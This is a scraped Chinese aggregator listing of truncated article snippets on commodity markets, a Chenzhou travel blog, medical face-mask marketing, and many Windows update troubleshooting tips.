    原标题:【原油贵金属周评】伊朗局势升温,黄金多头跃跃欲试美国和伊朗的局势继续升温,市场风险情绪上升,避险黄金有向上突破阻力的迹象。原油方面稍显平稳,近期美国和OPEC加大供给及市场需求回落的影响,伊朗局势并未推升油价走强。近期中美贸易谈判摩擦再度升级,美国对中…...

    2024/4/26 16:00:35
  15. 【原油贵金属早评】市场情绪继续恶化,黄金上破

    原标题:【原油贵金属早评】市场情绪继续恶化,黄金上破周初中国针对于美国加征关税的进行的反制措施引发市场情绪的大幅波动,人民币汇率出现大幅的贬值动能,金融市场受到非常明显的冲击。尤其是波动率起来之后,对于股市的表现尤其不安。隔夜美国股市出现明显的下行走势,这…...

    2024/4/25 18:39:16
  16. 【外汇早评】美伊僵持,风险情绪继续升温

    原标题:【外汇早评】美伊僵持,风险情绪继续升温昨日沙特两艘油轮再次发生爆炸事件,导致波斯湾局势进一步恶化,市场担忧美伊可能会出现摩擦生火,避险品种获得支撑,黄金和日元大幅走强。美指受中美贸易问题影响而在低位震荡。继5月12日,四艘商船在阿联酋领海附近的阿曼湾、…...

    2024/4/25 18:39:16
  17. 【原油贵金属早评】贸易冲突导致需求低迷,油价弱势

    原标题:【原油贵金属早评】贸易冲突导致需求低迷,油价弱势近日虽然伊朗局势升温,中东地区几起油船被袭击事件影响,但油价并未走高,而是出于调整结构中。由于市场预期局势失控的可能性较低,而中美贸易问题导致的全球经济衰退风险更大,需求会持续低迷,因此油价调整压力较…...

    2024/4/26 19:03:37
  18. 氧生福地 玩美北湖(上)——为时光守候两千年

    原标题:氧生福地 玩美北湖(上)——为时光守候两千年一次说走就走的旅行,只有一张高铁票的距离~ 所以,湖南郴州,我来了~ 从广州南站出发,一个半小时就到达郴州西站了。在动车上,同时改票的南风兄和我居然被分到了一个车厢,所以一路非常愉快地聊了过来。 挺好,最起…...

    2024/4/26 22:01:59
  19. 氧生福地 玩美北湖(中)——永春梯田里的美与鲜

    原标题:氧生福地 玩美北湖(中)——永春梯田里的美与鲜一觉醒来,因为大家太爱“美”照,在柳毅山庄去寻找龙女而错过了早餐时间。近十点,向导坏坏还是带着饥肠辘辘的我们去吃郴州最富有盛名的“鱼头粉”。说这是“十二分推荐”,到郴州必吃的美食之一。 哇塞!那个味美香甜…...

    2024/4/25 18:39:14
  20. 氧生福地 玩美北湖(下)——奔跑吧骚年!

    原标题:氧生福地 玩美北湖(下)——奔跑吧骚年!让我们红尘做伴 活得潇潇洒洒 策马奔腾共享人世繁华 对酒当歌唱出心中喜悦 轰轰烈烈把握青春年华 让我们红尘做伴 活得潇潇洒洒 策马奔腾共享人世繁华 对酒当歌唱出心中喜悦 轰轰烈烈把握青春年华 啊……啊……啊 两…...

    2024/4/26 23:04:58
  21. 扒开伪装医用面膜,翻六倍价格宰客,小姐姐注意了!

    原标题:扒开伪装医用面膜,翻六倍价格宰客,小姐姐注意了!扒开伪装医用面膜,翻六倍价格宰客!当行业里的某一品项火爆了,就会有很多商家蹭热度,装逼忽悠,最近火爆朋友圈的医用面膜,被沾上了污点,到底怎么回事呢? “比普通面膜安全、效果好!痘痘、痘印、敏感肌都能用…...

    2024/4/25 2:10:52
  22. 「发现」铁皮石斛仙草之神奇功效用于医用面膜

    原标题:「发现」铁皮石斛仙草之神奇功效用于医用面膜丽彦妆铁皮石斛医用面膜|石斛多糖无菌修护补水贴19大优势: 1、铁皮石斛:自唐宋以来,一直被列为皇室贡品,铁皮石斛生于海拔1600米的悬崖峭壁之上,繁殖力差,产量极低,所以古代仅供皇室、贵族享用 2、铁皮石斛自古民间…...

    2024/4/25 18:39:00
  23. 丽彦妆\医用面膜\冷敷贴轻奢医学护肤引导者

    原标题:丽彦妆\医用面膜\冷敷贴轻奢医学护肤引导者【公司简介】 广州华彬企业隶属香港华彬集团有限公司,专注美业21年,其旗下品牌: 「圣茵美」私密荷尔蒙抗衰,产后修复 「圣仪轩」私密荷尔蒙抗衰,产后修复 「花茵莳」私密荷尔蒙抗衰,产后修复 「丽彦妆」专注医学护…...

    2024/4/26 19:46:12
  24. 广州械字号面膜生产厂家OEM/ODM4项须知!

    原标题:广州械字号面膜生产厂家OEM/ODM4项须知!广州械字号面膜生产厂家OEM/ODM流程及注意事项解读: 械字号医用面膜,其实在我国并没有严格的定义,通常我们说的医美面膜指的应该是一种「医用敷料」,也就是说,医用面膜其实算作「医疗器械」的一种,又称「医用冷敷贴」。 …...

    2024/4/25 18:38:58
  25. 械字号医用眼膜缓解用眼过度到底有无作用?

    原标题:械字号医用眼膜缓解用眼过度到底有无作用?医用眼膜/械字号眼膜/医用冷敷眼贴 凝胶层为亲水高分子材料,含70%以上的水分。体表皮肤温度传导到本产品的凝胶层,热量被凝胶内水分子吸收,通过水分的蒸发带走大量的热量,可迅速地降低体表皮肤局部温度,减轻局部皮肤的灼…...

    2024/4/25 18:38:57
  26. 配置失败还原请勿关闭计算机,电脑开机屏幕上面显示,配置失败还原更改 请勿关闭计算机 开不了机 这个问题怎么办...

    解析如下&#xff1a;1、长按电脑电源键直至关机&#xff0c;然后再按一次电源健重启电脑&#xff0c;按F8健进入安全模式2、安全模式下进入Windows系统桌面后&#xff0c;按住“winR”打开运行窗口&#xff0c;输入“services.msc”打开服务设置3、在服务界面&#xff0c;选中…...

    2022/11/19 21:17:18
  27. 错误使用 reshape要执行 RESHAPE,请勿更改元素数目。

    %读入6幅图像&#xff08;每一幅图像的大小是564*564&#xff09; f1 imread(WashingtonDC_Band1_564.tif); subplot(3,2,1),imshow(f1); f2 imread(WashingtonDC_Band2_564.tif); subplot(3,2,2),imshow(f2); f3 imread(WashingtonDC_Band3_564.tif); subplot(3,2,3),imsho…...

    2022/11/19 21:17:16
  28. 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机...

    win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”问题的解决方法在win7系统关机时如果有升级系统的或者其他需要会直接进入一个 等待界面&#xff0c;在等待界面中我们需要等待操作结束才能关机&#xff0c;虽然这比较麻烦&#xff0c;但是对系统进行配置和升级…...

    2022/11/19 21:17:15
  29. 台式电脑显示配置100%请勿关闭计算机,“准备配置windows 请勿关闭计算机”的解决方法...

    有不少用户在重装Win7系统或更新系统后会遇到“准备配置windows&#xff0c;请勿关闭计算机”的提示&#xff0c;要过很久才能进入系统&#xff0c;有的用户甚至几个小时也无法进入&#xff0c;下面就教大家这个问题的解决方法。第一种方法&#xff1a;我们首先在左下角的“开始…...

    2022/11/19 21:17:14
  30. win7 正在配置 请勿关闭计算机,怎么办Win7开机显示正在配置Windows Update请勿关机...

    置信有很多用户都跟小编一样遇到过这样的问题&#xff0c;电脑时发现开机屏幕显现“正在配置Windows Update&#xff0c;请勿关机”(如下图所示)&#xff0c;而且还需求等大约5分钟才干进入系统。这是怎样回事呢&#xff1f;一切都是正常操作的&#xff0c;为什么开时机呈现“正…...

    2022/11/19 21:17:13
  31. 准备配置windows 请勿关闭计算机 蓝屏,Win7开机总是出现提示“配置Windows请勿关机”...

    Win7系统开机启动时总是出现“配置Windows请勿关机”的提示&#xff0c;没过几秒后电脑自动重启&#xff0c;每次开机都这样无法进入系统&#xff0c;此时碰到这种现象的用户就可以使用以下5种方法解决问题。方法一&#xff1a;开机按下F8&#xff0c;在出现的Windows高级启动选…...

    2022/11/19 21:17:12
  32. 准备windows请勿关闭计算机要多久,windows10系统提示正在准备windows请勿关闭计算机怎么办...

    有不少windows10系统用户反映说碰到这样一个情况&#xff0c;就是电脑提示正在准备windows请勿关闭计算机&#xff0c;碰到这样的问题该怎么解决呢&#xff0c;现在小编就给大家分享一下windows10系统提示正在准备windows请勿关闭计算机的具体第一种方法&#xff1a;1、2、依次…...

    2022/11/19 21:17:11
  33. 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”的解决方法...

    今天和大家分享一下win7系统重装了Win7旗舰版系统后&#xff0c;每次关机的时候桌面上都会显示一个“配置Windows Update的界面&#xff0c;提示请勿关闭计算机”&#xff0c;每次停留好几分钟才能正常关机&#xff0c;导致什么情况引起的呢&#xff1f;出现配置Windows Update…...

    2022/11/19 21:17:10
  34. 电脑桌面一直是清理请关闭计算机,windows7一直卡在清理 请勿关闭计算机-win7清理请勿关机,win7配置更新35%不动...

    只能是等着&#xff0c;别无他法。说是卡着如果你看硬盘灯应该在读写。如果从 Win 10 无法正常回滚&#xff0c;只能是考虑备份数据后重装系统了。解决来方案一&#xff1a;管理员运行cmd&#xff1a;net stop WuAuServcd %windir%ren SoftwareDistribution SDoldnet start WuA…...

    2022/11/19 21:17:09
  35. 计算机配置更新不起,电脑提示“配置Windows Update请勿关闭计算机”怎么办?

    原标题&#xff1a;电脑提示“配置Windows Update请勿关闭计算机”怎么办&#xff1f;win7系统中在开机与关闭的时候总是显示“配置windows update请勿关闭计算机”相信有不少朋友都曾遇到过一次两次还能忍但经常遇到就叫人感到心烦了遇到这种问题怎么办呢&#xff1f;一般的方…...

    2022/11/19 21:17:08
  36. 计算机正在配置无法关机,关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机...

    关机提示 windows7 正在配置windows 请勿关闭计算机 &#xff0c;然后等了一晚上也没有关掉。现在电脑无法正常关机以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容&#xff0c;让我们赶快一起来看一下吧&#xff01;关机提示 windows7 正在配…...

    2022/11/19 21:17:05
  37. 钉钉提示请勿通过开发者调试模式_钉钉请勿通过开发者调试模式是真的吗好不好用...

    钉钉请勿通过开发者调试模式是真的吗好不好用 更新时间:2020-04-20 22:24:19 浏览次数:729次 区域: 南阳 > 卧龙 列举网提醒您:为保障您的权益,请不要提前支付任何费用! 虚拟位置外设器!!轨迹模拟&虚拟位置外设神器 专业用于:钉钉,外勤365,红圈通,企业微信和…...

    2022/11/19 21:17:05
  38. 配置失败还原请勿关闭计算机怎么办,win7系统出现“配置windows update失败 还原更改 请勿关闭计算机”,长时间没反应,无法进入系统的解决方案...

    前几天班里有位学生电脑(windows 7系统)出问题了&#xff0c;具体表现是开机时一直停留在“配置windows update失败 还原更改 请勿关闭计算机”这个界面&#xff0c;长时间没反应&#xff0c;无法进入系统。这个问题原来帮其他同学也解决过&#xff0c;网上搜了不少资料&#x…...

    2022/11/19 21:17:04
  39. 一个电脑无法关闭计算机你应该怎么办,电脑显示“清理请勿关闭计算机”怎么办?...

    本文为你提供了3个有效解决电脑显示“清理请勿关闭计算机”问题的方法&#xff0c;并在最后教给你1种保护系统安全的好方法&#xff0c;一起来看看&#xff01;电脑出现“清理请勿关闭计算机”在Windows 7(SP1)和Windows Server 2008 R2 SP1中&#xff0c;添加了1个新功能在“磁…...

    2022/11/19 21:17:03
  40. 请勿关闭计算机还原更改要多久,电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机怎么办...

    许多用户在长期不使用电脑的时候&#xff0c;开启电脑发现电脑显示&#xff1a;配置windows更新失败&#xff0c;正在还原更改&#xff0c;请勿关闭计算机。。.这要怎么办呢&#xff1f;下面小编就带着大家一起看看吧&#xff01;如果能够正常进入系统&#xff0c;建议您暂时移…...

    2022/11/19 21:17:02
  41. 还原更改请勿关闭计算机 要多久,配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以...

    配置windows update失败 还原更改 请勿关闭计算机&#xff0c;电脑开机后一直显示以以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容&#xff0c;让我们赶快一起来看一下吧&#xff01;配置windows update失败 还原更改 请勿关闭计算机&#x…...

    2022/11/19 21:17:01
  42. 电脑配置中请勿关闭计算机怎么办,准备配置windows请勿关闭计算机一直显示怎么办【图解】...

    不知道大家有没有遇到过这样的一个问题&#xff0c;就是我们的win7系统在关机的时候&#xff0c;总是喜欢显示“准备配置windows&#xff0c;请勿关机”这样的一个页面&#xff0c;没有什么大碍&#xff0c;但是如果一直等着的话就要两个小时甚至更久都关不了机&#xff0c;非常…...

    2022/11/19 21:17:00
  43. 正在准备配置请勿关闭计算机,正在准备配置windows请勿关闭计算机时间长了解决教程...

    当电脑出现正在准备配置windows请勿关闭计算机时&#xff0c;一般是您正对windows进行升级&#xff0c;但是这个要是长时间没有反应&#xff0c;我们不能再傻等下去了。可能是电脑出了别的问题了&#xff0c;来看看教程的说法。正在准备配置windows请勿关闭计算机时间长了方法一…...

    2022/11/19 21:16:59
  44. 配置失败还原请勿关闭计算机,配置Windows Update失败,还原更改请勿关闭计算机...

    我们使用电脑的过程中有时会遇到这种情况&#xff0c;当我们打开电脑之后&#xff0c;发现一直停留在一个界面&#xff1a;“配置Windows Update失败&#xff0c;还原更改请勿关闭计算机”&#xff0c;等了许久还是无法进入系统。如果我们遇到此类问题应该如何解决呢&#xff0…...

    2022/11/19 21:16:58
  45. 如何在iPhone上关闭“请勿打扰”

    Apple’s “Do Not Disturb While Driving” is a potentially lifesaving iPhone feature, but it doesn’t always turn on automatically at the appropriate time. For example, you might be a passenger in a moving car, but your iPhone may think you’re the one dri…...

    2022/11/19 21:16:57